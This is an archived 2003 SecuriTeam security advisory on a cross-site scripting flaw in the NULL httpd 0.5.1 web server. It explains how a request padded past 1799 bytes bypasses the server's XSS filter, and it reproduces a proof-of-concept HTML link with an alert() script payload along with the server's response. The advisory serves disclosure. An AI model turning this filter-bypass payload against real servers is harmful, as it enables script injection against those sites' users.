[NEWS] NULL httpd XSS Vulnerability (Bad request)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/01/03

  • Next message: SecuriTeam: "[NEWS] Null httpd Remote Resources Consumption (Exploit)"
    To: list@securiteam.com
    Date: 1 Oct 2003 13:06:45 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      NULL httpd XSS Vulnerability (Bad request)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://nullhttpd.sourceforge.net/httpd/> Null httpd is a very small,
    simple and multithreaded web server for Linux and Windows".

    The product has been found to contain a vulnerability that allows remote
    attackers to insert malicious HTML and/or JavaScript into responses sent
    back by the server.

    DETAILS

    Vulnerable systems:
     * NULL httpd version 0.5.1

    This is not the first time that a XSS (cross-site scripting) bug is found
    in NULL httpd, in fact this bug was already fixed in the 0.5.1 version
    released one year ago, but unfortunately some "problems" in the code let
    this bug to persist.

    The problem in fact is that a too long HTTP request overwrites some string
    of data in the memory which its effect is the bypass of the check made by
    NULL httpd to avoid XSS.

    Example:
    http://server/ [1799 bytes] [243 bytes]
                   | |
                   | here starts the XSS code that can be max
                   | 243 bytes big
                   chars needed to avoid the XSS check

    Answer from NULL httpd:

    ----
    HTTP/1.0 200 OK
    Cache-Control: no-store
    Connection: Close
    Content-Length: 472
    Date: Tue, 23 Sep 2003 11:39:30 GMT
    Expires: Tue, 23 Sep 2003 11:39:30 GMT
    Last-Modified: 
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaano-cache
    Pragma: no-cache
    Server: Null httpd 0.5.1
    Content-Type: text/html
    <script>alert('hello');</script>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxx<HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD> <BODY 
    BGCOLOR=#F0F0F0 TEXT=#000000 LINK=#0000FF ALINK=#0000FF VLINK=#0000FF> 
    <H1>400 Bad Request</H1> Can't Parse Request. <HR> <ADDRESS>Null httpd 
    0.5.1</ADDRESS> </BODY></HTML>
    ----
    Exploit:
    Exploiting the problem is too simple, however Luigi has released an HTML 
    file with a link that does the work ( 
    <http://aluigi.altervista.org/nullhttpd051-xss.htm> 
    http://aluigi.altervista.org/nullhttpd051-xss.htm):
    < html>
    Nullhttpd <= 0.51 XSS through Bad request<br>
    by Luigi Auriemma<br><br>
    http://server/ [1799 bytes] [243 bytes]<br><br>
    < a 
    href="http://127.0.0.1/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa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aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    < 
    script>alert('hello');</script>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">Hello</a>
    </html>
    ADDITIONAL INFORMATION
    The information has been provided by  <mailto:aluigi@altervista.org> Luigi 
    Auriemma.
    ======================================== 
    This bulletin is sent to members of the SecuriTeam mailing list. 
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com 
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com 
    ==================== 
    ==================== 
    DISCLAIMER: 
    The information in this bulletin is provided "AS IS" without warranty of any kind. 
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. 
    

  • Next message: SecuriTeam: "[NEWS] Null httpd Remote Resources Consumption (Exploit)"

    Relevant Pages

    • [NEWS] PalmOS httpd accept() Queue Overflow DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... 'httpd' for PalmOS was originally written by Jim Rees, ... The development of httpd for Palm stopped. ... than 1 connection, ...
      (Securiteam)
    • [NT] Cross Application Scripting in Trend Micros Antivirus Software
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The SecuriTeam alerts list - Free, Accurate, Independent. ... When the product alerts the user of a possible virus, it creates an HTML ...
      (Securiteam)
    • [NT] Microsoft Windows NTFS Improper Handler Closing
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... from a system shutdown, uninitialized data may be visible in files from ...
      (Securiteam)
    • [UNIX] Phorum SQL Injection (userlogin.php)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... An SQL injection vulnerability exists in the 'userlogin.php' script. ... the MD5 hash of the user one character at a time. ...
      (Securiteam)
    • [EXPL] WinAce Temporary File Handling Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in WinAce allows ... WinAce Temporary File Parsing Buffer Overflow Vulnerability ...
      (Securiteam)